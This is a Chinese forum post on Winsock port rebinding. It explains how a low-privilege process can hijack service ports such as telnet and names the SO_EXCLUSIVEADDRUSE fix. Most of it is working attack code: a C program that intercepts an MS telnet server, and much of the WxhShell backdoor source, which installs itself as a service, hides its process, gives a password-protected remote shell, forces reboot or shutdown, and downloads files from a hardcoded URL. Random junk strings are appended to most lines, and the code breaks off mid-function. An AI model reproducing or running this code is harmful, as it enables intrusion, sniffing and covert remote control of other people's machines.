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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bb6J$NR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b"y][5VE  
i!30f^9D-S  
  saddr.sin_family = AF_INET; :*"0o{ ie  
4#Fz!Km  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NGlX%j4j  
AoEG%nT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); AopC xaJ`  
ui,#AZQ#{4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [*O#6Xu  
Kd _tjWS  
  这意味着什么?意味着可以进行如下的攻击: {<a(1#{  
eXI^9uH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2c.~cNx`q[  
E+AEV`-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >uuP@j  
37wm[ Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z;aQ/ n[`  
;Bo{.916  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `n]y"rj'  
88 *K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \ qc 8;"@  
33_YZOy^j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6<+R55  
Oc;0*v[I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n)w@\ Uy c  
3 [lF  
  #include y_$=Pu6H  
  #include qh/q<  
  #include x)wIGo  
  #include    XX5 ):1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sH(AsKiNKe  
  int main() >WMH.5p  
  { kEtYuf^  
  WORD wVersionRequested; |*0oz=  
  DWORD ret; 5r qjqfFa  
  WSADATA wsaData; yG5T;O&  
  BOOL val; "PBUyh-Z  
  SOCKADDR_IN saddr; 'g8~539{&  
  SOCKADDR_IN scaddr; #~54t0|Cd>  
  int err; }*m:zD@8$  
  SOCKET s; $Xw .iN]g  
  SOCKET sc; ur-&- G^  
  int caddsize;  yf!  
  HANDLE mt; <`sVu  
  DWORD tid;   2Av3.u8%u  
  wVersionRequested = MAKEWORD( 2, 2 ); Ud0%O  
  err = WSAStartup( wVersionRequested, &wsaData ); P.P3/,  
  if ( err != 0 ) { IBY3QG  
  printf("error!WSAStartup failed!\n"); 8@|_];9#.  
  return -1; #F.;N<a  
  } >De\2gbJ  
  saddr.sin_family = AF_INET; y@J]busU  
   kIV/o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @6>R/]  
I.j`h2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pr.Vfb  
  saddr.sin_port = htons(23); m,v"N%k,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G6xdGUM  
  { EN()dCQHr  
  printf("error!socket failed!\n"); BclZsU=xn  
  return -1; E27wxMU  
  } N\Bygjw|  
  val = TRUE; o;mXk2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B2%)G$B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  ;uNcrv0J  
  { t<9oEjk["  
  printf("error!setsockopt failed!\n"); 0 ]U ;5  
  return -1; &"fMiK3  
  } b#R3=TQS8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WS@b3zzN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 A5tY4?|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n 8Jx;j  
bp:WN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j|9;") 1  
  { "?V4Tl~uu  
  ret=GetLastError(); Qv,|*bf  
  printf("error!bind failed!\n"); D Y($  
  return -1; ,)XT;iGQe  
  } Y:]~~-f\~  
  listen(s,2); I@a7AuOw  
  while(1) zTBr<:  
  { <DiD8")4  
  caddsize = sizeof(scaddr); N VzR2  
  //接受连接请求 e~c;wP~cO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &h-d\gMJ  
  if(sc!=INVALID_SOCKET) eb2~$ ,$  
  { *@l NL=%R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M~;mamTP  
  if(mt==NULL) ZebXcT ,41  
  { 9k ]$MR  
  printf("Thread Creat Failed!\n"); 4QdY"s( n  
  break; iCao;Zb  
  } C',D"  
  } m>$+sMZE  
  CloseHandle(mt); ,:G.V  
  } 3k5OYUk  
  closesocket(s); "8J$7g@n@  
  WSACleanup();  |X`xJL  
  return 0; :#"gQ^YNp  
  }   /}r%DND'  
  DWORD WINAPI ClientThread(LPVOID lpParam) \y{Bnp5h  
  { 9M:wUYHT  
  SOCKET ss = (SOCKET)lpParam; T.GY  
  SOCKET sc; M5HKRLt  
  unsigned char buf[4096]; gzvEy^X  
  SOCKADDR_IN saddr; \i}n1Qd  
  long num; Y.3]vno?X  
  DWORD val; ~!&WK,k6  
  DWORD ret; ]]Ypi=<'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 aG8}R~wH&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3Tg  
  saddr.sin_family = AF_INET; 6gJy<a3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @3c5"  
  saddr.sin_port = htons(23); ]nhLv!Co  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "wmQ,=  
  { -7*,}xV  
  printf("error!socket failed!\n"); nZhL  
  return -1; GptJQ=pV  
  } [#kfl  
  val = 100; #QQ\xj  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QQ!%lbMK]  
  { 'N)&;ADx-G  
  ret = GetLastError(); cfMj^*I  
  return -1; uI@:\Rss  
  } FEw51a+V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _+N*4  
  { Ku*@4#<L6h  
  ret = GetLastError(); ! ]&a/$U  
  return -1; aJ88U69  
  } =|bM|8,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1`r 4  
  { [Pi8gj*  
  printf("error!socket connect failed!\n"); W`^'hka  
  closesocket(sc); ?ah-x""Y  
  closesocket(ss); u1/4WYJeJ  
  return -1; :h=];^/E  
  } 2)h i(  
  while(1) &Hb6  
  { NZ/gp"D?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 YTpSR~!Rj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G$}\~dD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DGj:qd(  
  num = recv(ss,buf,4096,0); n'v[[bmu  
  if(num>0) [MdVgJ9'  
  send(sc,buf,num,0); HvN!_}[  
  else if(num==0) _-x|g~pV*  
  break; }RYr)  
  num = recv(sc,buf,4096,0); Zk"'x,]#  
  if(num>0) dE^:-t  
  send(ss,buf,num,0); {=PO`1H  
  else if(num==0) )&+j#:  
  break; thDQ44<#)  
  } s[NkPh9&  
  closesocket(ss); kjfZ*V=-  
  closesocket(sc); 2aX|E4F  
  return 0 ; Jm0P~E[n  
  } 9TBkVbqV  
S=~[6;G  
h^D? G2O  
========================================================== M9HM:  
_,"T;i  
下边附上一个代码,,WXhSHELL 'U.)f@L#w  
<w` R ;  
========================================================== _(5SiK R  
oS0l Tf\  
#include "stdafx.h" Ii%^z?'  
B BbGq8p  
#include <stdio.h> A&jkc'  
#include <string.h> E'j>[C:U  
#include <windows.h> Xa=oryDt  
#include <winsock2.h> tq H7M0Ry  
#include <winsvc.h> __teh>MC  
#include <urlmon.h> ^Wo/vm*]  
[5e}A&  
#pragma comment (lib, "Ws2_32.lib") sI7d?+  
#pragma comment (lib, "urlmon.lib") vm"LPwSk>  
z6]dF"N  
#define MAX_USER   100 // 最大客户端连接数 >0Y >T6!  
#define BUF_SOCK   200 // sock buffer x :\+{-  
#define KEY_BUFF   255 // 输入 buffer ^.p({6H  
^90';ACFy  
#define REBOOT     0   // 重启 So{/V%  
#define SHUTDOWN   1   // 关机 N9tH0  
x2=Bu#Y  
#define DEF_PORT   5000 // 监听端口 x^Q:U1  
P}29wrIZ  
#define REG_LEN     16   // 注册表键长度 8om6wALXB  
#define SVC_LEN     80   // NT服务名长度 7n9&@D3 :P  
t6m3lq{  
// 从dll定义API Bha#=>4FU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nICc}U?k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K'%2'd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zsFzF`[k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xHq"1Vs=  
U(P^-J<n1  
// wxhshell配置信息 FkY}6  
struct WSCFG { X]8(_[Y  
  int ws_port;         // 监听端口 Q^prHn*@  
  char ws_passstr[REG_LEN]; // 口令 T\I}s"d  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3)88B"E  
  char ws_regname[REG_LEN]; // 注册表键名 ~U(`XvR\4  
  char ws_svcname[REG_LEN]; // 服务名 O B`(,m#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b3F)$UQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -0r 0M )  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v/*}M&vo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h/5|3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z<L}ur  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7/+I"~  
;$,=VB:'  
}; [~*5uSG  
1AQVj]#S  
// default Wxhshell configuration qmqWMLfC  
struct WSCFG wscfg={DEF_PORT, 5xC4lT/U  
    "xuhuanlingzhe", s!,m,l[P  
    1, CX?q%o2b  
    "Wxhshell", 3 9to5 s,  
    "Wxhshell", 6D|[3rXr  
            "WxhShell Service", pMB!I9q  
    "Wrsky Windows CmdShell Service", L#O1 >  
    "Please Input Your Password: ", \~ m\pf?  
  1, /N= }wC  
  "http://www.wrsky.com/wxhshell.exe", ?C)a0>L  
  "Wxhshell.exe" fn.KZ  
    }; yJQ>u  
OL]P(HRm]~  
// 消息定义模块 EQI9 J#;+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 01=nS?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M.fAFL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'yxN1JF  
char *msg_ws_ext="\n\rExit."; O+x"c3@Z)D  
char *msg_ws_end="\n\rQuit."; $`j%z@[g  
char *msg_ws_boot="\n\rReboot..."; ,1/O2aQ%\0  
char *msg_ws_poff="\n\rShutdown..."; 9$[6\jMh  
char *msg_ws_down="\n\rSave to "; Ipro6 I  
yN[aBYJx,M  
char *msg_ws_err="\n\rErr!"; [NE|ZL~  
char *msg_ws_ok="\n\rOK!"; A12EUr5$  
& "i4og<  
char ExeFile[MAX_PATH]; ,]`|2j  
int nUser = 0; ~_Q~AOFM  
HANDLE handles[MAX_USER]; $mxm?7ZVR  
int OsIsNt; hr$Wt ?B  
}`KK  
SERVICE_STATUS       serviceStatus; )X |[ jP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F<.oTP-B  
ezimQ  
// 函数声明 ! Gob `# r  
int Install(void); ]1hyvm3  
int Uninstall(void); /pY-how%!  
int DownloadFile(char *sURL, SOCKET wsh); GDF/0-/Z  
int Boot(int flag); aeZ$Wu>]W  
void HideProc(void); ')N[)&&Q{  
int GetOsVer(void); 1WjNFi  
int Wxhshell(SOCKET wsl); @k=UB&?I  
void TalkWithClient(void *cs); 0JFS%Yjw[  
int CmdShell(SOCKET sock); "s-3226kj  
int StartFromService(void); y0vJ@ %`  
int StartWxhshell(LPSTR lpCmdLine); H9;0$Y(e-  
;~D$ rT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yFoPCA86y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $%BI8_  
<W] RyEg`  
// 数据结构和表定义 >{6U1ft):  
SERVICE_TABLE_ENTRY DispatchTable[] = +3uPHpMB-  
{ T@wgWE<0y_  
{wscfg.ws_svcname, NTServiceMain}, 5{/uHscwLa  
{NULL, NULL} 'oKen!?A  
}; u9nJ;:  
ai%*s&0/Y  
// 自我安装 .;rE4B  
int Install(void) o6tPQ (Vi  
{ 9xi nX-x;n  
  char svExeFile[MAX_PATH]; 5P Zzaz<  
  HKEY key; E5aRTDLq  
  strcpy(svExeFile,ExeFile); K;z$~;F  
_(zZrUHB  
// 如果是win9x系统,修改注册表设为自启动 YMN=1Zuj?  
if(!OsIsNt) { fj|b;8_}l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uMx6:   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !"2S'oQKS  
  RegCloseKey(key); oyB gF\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [Dhqyjq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CvHE7H|-{  
  RegCloseKey(key); fmq''1u  
  return 0; K| dI'TnW  
    } 44NM of8N  
  } Gv[s86AP,  
} 1=Z!ZY}}e  
else { 3Ccy %;  
InI>So%e|<  
// 如果是NT以上系统,安装为系统服务 3v@h&7<E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }u9#S  
if (schSCManager!=0) ?g\emhG  
{ Nq9\2p  
  SC_HANDLE schService = CreateService m"@o  
  (  nU4to  
  schSCManager, IM% ,A5u  
  wscfg.ws_svcname, 5U-SIG*  
  wscfg.ws_svcdisp, ]A ;.}1'  
  SERVICE_ALL_ACCESS, yk y% +@2q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lD^c_b  
  SERVICE_AUTO_START, 0G31Kou  
  SERVICE_ERROR_NORMAL, &szYa-K*  
  svExeFile, V408u y-M  
  NULL, ]]0Yh  
  NULL, PYBE?td  
  NULL, \TZSn1isZX  
  NULL, E!'6v DVC:  
  NULL zuu<;^/R  
  ); :YQI1 q[6  
  if (schService!=0) br^ A<@,d  
  { &~Pk*A_:  
  CloseServiceHandle(schService); *`} !{ Mb  
  CloseServiceHandle(schSCManager); k".kbwcaF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uNkJe  
  strcat(svExeFile,wscfg.ws_svcname); ]5K+W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Bn9#F#F<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l?QA;9_R'  
  RegCloseKey(key); +OqEe[Wk#  
  return 0; ]#Cc7wa  
    } 9: .m]QN  
  } ,z<1:st]<  
  CloseServiceHandle(schSCManager); &|j0GP&  
} CT5s`v!s  
} N>Ih2>8t  
W]oa7VAq  
return 1; C1'y6{,@  
} {,i-V57-h  
_p>F43%p  
// 自我卸载 _RzF h  
int Uninstall(void) (H5#r2h%Y  
{ ,{mv6?_  
  HKEY key; m}u)C&2>  
X;H\u6-|>6  
if(!OsIsNt) { NXQ=8o9,9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -%5#0Ogh M  
  RegDeleteValue(key,wscfg.ws_regname); re_nb)4g  
  RegCloseKey(key); .uVd'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 41R6V>e@9J  
  RegDeleteValue(key,wscfg.ws_regname); ,jEc4ih4  
  RegCloseKey(key); HCsd$M;Hbv  
  return 0; 5x%Blkx  
  } 51JB,}dGH}  
} &8w# 4*W  
} PW|=IPS  
else { k_{?{:X;y  
JO`r)_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J$sBfO D  
if (schSCManager!=0) ~+j2a3rv-{  
{ P3`$4p?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0PqI^|!  
  if (schService!=0) V y$*v  
  { 4e/!BGkAS  
  if(DeleteService(schService)!=0) { xL1Li]fM!'  
  CloseServiceHandle(schService); S.4+tf 7+  
  CloseServiceHandle(schSCManager); iMt3h8  
  return 0; rrr_{d/  
  } d|oO2yzWv  
  CloseServiceHandle(schService); ]/kpEx  
  } $'I&u  
  CloseServiceHandle(schSCManager); D HT^.UM28  
} /2zan}  
} Pw| h`[h  
nj0sh"~+  
return 1; 8 eK8-R$  
} $&&E[JY  
2mn AL#  
// 从指定url下载文件 ^P^%Q)QXl  
int DownloadFile(char *sURL, SOCKET wsh) e*qGrg(E  
{ M,S'4Sz uk  
  HRESULT hr; :IU7dpwDl  
char seps[]= "/"; #gqh0 2 7  
char *token; m0 As t<u  
char *file; j{ YYG|  
char myURL[MAX_PATH]; z4:<?K  
char myFILE[MAX_PATH]; vue^bn  
* eC[74Kng  
strcpy(myURL,sURL); );':aX j  
  token=strtok(myURL,seps); +^lB"OcOX@  
  while(token!=NULL) H)i|?3Ip  
  { "5Y6.$Cuf!  
    file=token; ?!&%-R6*  
  token=strtok(NULL,seps); (z>t4(%\  
  } r":anR( ;  
?9a%g\`?:  
GetCurrentDirectory(MAX_PATH,myFILE); >iae2W`  
strcat(myFILE, "\\"); g&c ~grD  
strcat(myFILE, file); {='Bd6_=  
  send(wsh,myFILE,strlen(myFILE),0); eFG(2OVg}M  
send(wsh,"...",3,0); ?/"|tuQMW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \$ipnQv  
  if(hr==S_OK) ~<f[7dBv  
return 0; } 1e4u{  
else UPU$SZAIx  
return 1; VJqk0w+  
]vlBYAW'  
} IO)#O<  
m9oOH5@K~  
// 系统电源模块 H:]cBk^[,  
int Boot(int flag) 2^=.j2  
{ z'"7zLQ  
  HANDLE hToken; >4jE[$p]"  
  TOKEN_PRIVILEGES tkp; W\k8f+Ke  
?:J_+? {E  
  if(OsIsNt) { *$g!/,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k_L`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WA8<:#{e  
    tkp.PrivilegeCount = 1; @wgd 3BU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]~I+d/k d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X n$ZA-  
if(flag==REBOOT) { R,G*]/r`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :R,M Y"(  
  return 0; Ha`N  
} Z-Qp9G'   
else { 2Qp}f^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ![\-J$  
  return 0; )&c#?wx'w  
} :rUMmO-  
  } L"|Bm{Run  
  else { Q2VF+g,  
if(flag==REBOOT) { o=3hWbe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *z?Uh$I4  
  return 0; 3$nK   
} ^obuMQ;  
else { ^PTf8o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3&+dyhL'w  
  return 0; Z 5>~l  
} D#b*M)X"  
} 0cq@lT6  
.how@>:P+  
return 1; 93HVx#  
} P>C'? 'Q7  
=Z  
// win9x进程隐藏模块 V ql4*OJW  
void HideProc(void) qT@h/Y  
{ z6iKIw $  
25)9R^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TC?B_;a  
  if ( hKernel != NULL ) _-TplGSO=c  
  { $+'H000x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T+v*@#iJ_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); js<d"m*  
    FreeLibrary(hKernel); @gD) pH  
  } {*7MT}{(  
P35DVKS  
return; Dcvul4Q  
} tk%f_"}  
`FMo; ,j  
// 获取操作系统版本 ?8-!hU@QC  
int GetOsVer(void) G;l7,1;MU:  
{  v_!6S|  
  OSVERSIONINFO winfo; z%YNZ ^d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B$_4 ul\)  
  GetVersionEx(&winfo); a:)FWdp?9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R ZY=c  
  return 1;  vmqa_gU\  
  else _J l(:r\%  
  return 0; ~?F,kmO}?  
} y&zFS4"x  
8%7%[WC#  
// 客户端句柄模块 &:&89<C'  
int Wxhshell(SOCKET wsl) _6NUtU  
{ K3?5bT_{  
  SOCKET wsh; }csA|cC  
  struct sockaddr_in client; W[8Kia-OD  
  DWORD myID; /| v.A\ :  
<kK>C8+  
  while(nUser<MAX_USER) r)iEtT!p*  
{ ~T1W-ig4[*  
  int nSize=sizeof(client); MxsLrWxm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (F4e}hr&  
  if(wsh==INVALID_SOCKET) return 1; xnY?<?J"!  
*,\"}x*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @V%\Gspv  
if(handles[nUser]==0) V)^Xz8H_  
  closesocket(wsh); ,MCTb'=G  
else +`HMl;0m  
  nUser++; OIrm9D #  
  } H#TkIFo]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +` Md5.w  
+~^S'6yB  
  return 0; n[3z_Q I  
} ^PZ[;F40  
S<i$0p8J;  
// 关闭 socket F^yW3|Sb  
void CloseIt(SOCKET wsh) l_^OdQ9D  
{ =0)|psCsM  
closesocket(wsh); m TE(J Zt  
nUser--; c{MoeIG)v@  
ExitThread(0); (;l@d|g  
} #rlgeHG!fs  
+0pI}a\  
// 客户端请求句柄 lMFR_g?r  
void TalkWithClient(void *cs) \=ML*Gi*  
{ ]Y\$U<YjO  
.@VZ3"  
  SOCKET wsh=(SOCKET)cs; !mNst$-H4  
  char pwd[SVC_LEN]; G^c,i5}w  
  char cmd[KEY_BUFF]; v Y[s#*+  
char chr[1]; jrib"Bh3,  
int i,j; U#3N90,N=  
3(BL  
  while (nUser < MAX_USER) { X0.H(p#s  
/Q1*Vh4  
if(wscfg.ws_passstr) { P(D>4/f3"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rnIj pc F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KL&/Yt   
  //ZeroMemory(pwd,KEY_BUFF); 2 *NPK}  
      i=0; 7Jn%XxHq  
  while(i<SVC_LEN) { `|'w]rj:"+  
`n PdZ.  
  // 设置超时 H/D=$)3op  
  fd_set FdRead; F!vrvlD`s  
  struct timeval TimeOut; *S;}&VAZ  
  FD_ZERO(&FdRead); 7>yd  
  FD_SET(wsh,&FdRead);  +A3/^C0  
  TimeOut.tv_sec=8; $J7V]c*-b  
  TimeOut.tv_usec=0; cgb>Naa<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h.\I tK{)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Tv``\<   
hi8q?4jE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d0aXA+S%  
  pwd=chr[0]; Qte5E}V`  
  if(chr[0]==0xd || chr[0]==0xa) { =g#PP@X]D!  
  pwd=0; 6FB 0g8  
  break; *rq*li;  
  } c^r8<KlI9  
  i++; z$1RD)TQB  
    } A({czHLhN5  
xs"i_se  
  // 如果是非法用户,关闭 socket 'Ea3(OsuXn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dSGdK $XA  
} ]\39#  
8~'cP?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  Ng#psN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B"43o7C  
x"2p5T7*>  
while(1) { q<09]i  
SyL"Bmi  
  ZeroMemory(cmd,KEY_BUFF); DG TLlBkT  
cC*WZ]  
      // 自动支持客户端 telnet标准   7P{= Pv+  
  j=0; fQoAdw  
  while(j<KEY_BUFF) { V;SfW2`)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l#0zHBc  
  cmd[j]=chr[0]; v `S5[{6  
  if(chr[0]==0xa || chr[0]==0xd) { i /X3k&  
  cmd[j]=0; Igo`\JY  
  break; 5U?O1}P  
  } QV[&2&&^<<  
  j++; |O8e;v72g^  
    } 0LQRQuh1  
#}~tTL  
  // 下载文件 KMhrw s{&B  
  if(strstr(cmd,"http://")) { #]Vw$X_S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ( fFrX_K]  
  if(DownloadFile(cmd,wsh)) O@$>'Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d!I%AlV  
  else ?O 25k!7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i@/%E~W  
  } *JOK8[Qn  
  else { 1RkN^FZOxq  
YdI6 |o@vc  
    switch(cmd[0]) { HS=w9:,  
  29Uqdo  
  // 帮助 h%j4(v}r{C  
  case '?': { BFNO yv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HG7Qdw2+O  
    break; +C=vuR  
  } I]ej ]46K  
  // 安装 L`t786 (M  
  case 'i': { )QAYjW!Z  
    if(Install()) z fUDo`V~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4W>DW`{  
    else LsR<r1KDJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |1wZ`wGZ:L  
    break; ],c0nz^%BR  
    } Kj0)/Fjl+  
  // 卸载 % 3#g-  
  case 'r': { v=^^Mr"Z^  
    if(Uninstall()) o9sQ!gptw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GVT 6cR  
    else l"8g9z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m#h`iW  
    break; $I5|rB/4?  
    } &Hw:65O  
  // 显示 wxhshell 所在路径 ^aaj=p:c V  
  case 'p': { q`AsnAzo&  
    char svExeFile[MAX_PATH]; $;g*s?F*  
    strcpy(svExeFile,"\n\r"); ceg\lE:8  
      strcat(svExeFile,ExeFile); lR?1,yLp  
        send(wsh,svExeFile,strlen(svExeFile),0); _3 !s{  
    break; /8Lb_QH{  
    } !UzE&CirV  
  // 重启 ,vR>hyM  
  case 'b': { }ll&EB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ccv  
    if(Boot(REBOOT)) jzi%[c<G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *r>Y]VG;S  
    else { 1dr g5  
    closesocket(wsh); K`=U5vG^  
    ExitThread(0); }r04*P(  
    } R1*&rjB  
    break; 5!Er ;e  
    } # l1*#Z  
  // 关机 ",YNphjAn  
  case 'd': { ,,FhE  
